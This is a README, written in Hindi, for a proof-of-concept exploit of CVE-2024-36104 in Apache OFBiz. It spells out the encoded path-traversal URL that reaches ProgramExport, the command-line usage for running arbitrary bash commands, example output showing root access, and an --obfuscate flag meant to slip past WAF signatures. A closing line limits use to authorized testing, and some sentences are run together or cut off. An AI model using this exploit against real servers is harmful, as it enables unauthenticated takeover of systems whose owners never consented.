
CVE-2024-36104 के लिए PoC — Apache OFBiz (<18.12.14) में बिना प्रमाणीकरण के Groovy RCE, /%2e/%2e/ view path traversal के माध्यम से ProgramExport तक
इस CVE-2024-36104 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Apache OFBiz 18.12.14 से पहले में एक बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता है।
OFBiz का ControlServlet अनुरोध पथ को कैननिकलाइज़ करने से पहले एक बिना प्रमाणीकरण वाले दृश्य (forgotPassword) को हल करता है। /%2e/%2e/ जोड़ने पर पथ वापस /webtools/control/ पर संकुचित हो जाता है, जिससे अनुरोध मूल दृश्य से जुड़ी सुरक्षा/अनुमति जांच से गुज़रे बिना ProgramExport दृश्य तक पहुँच जाता है। इसके बाद ProgramExport मनमाना Groovy कोड निष्पादित करता है, जिससे बिना प्रमाणीकरण के रिमोट कमांड निष्पादन संभव हो जाता है।
स्क्रिप्ट कमांड को एक Groovy स्निपेट में लपेटती है, जो उसे /usr/bin/bash -lc के माध्यम से चलाता है, भेद्य एंडपॉइंट पर भेजता है, और HTML प्रतिक्रिया में OFBiz द्वारा वापस फेंके गए java.lang.Exception से आउटपुट निकालता है।
forgotPassword से ProgramExport तक /%2e/%2e/ ट्रैवर्सल पथ बनाता है।groovyProgram के रूप में भेद्य एंडपॉइंट पर भेजता है।Python 3.8+
pip install -r requirements.txt
आवश्यक Python पैकेज:
requests
urllib3
कोण कोष्ठक (angle brackets) में रखे गए मान प्लेसहोल्डर हैं। उन्हें अपने स्वयं के मानों से बदलें और < या > वर्ण शामिल न करें।
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
उदाहरण आउटपुट:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502 लौटाता है, तो संभवतः प्रॉक्सी टाइमआउट से पहले बैकएंड ने कार्य पूरा नहीं किया; कमांड फिर भी सर्वर-साइड पूरा हो सकता है।--show-response का उपयोग करें।यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और भेद्यता सत्यापन के लिए है। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।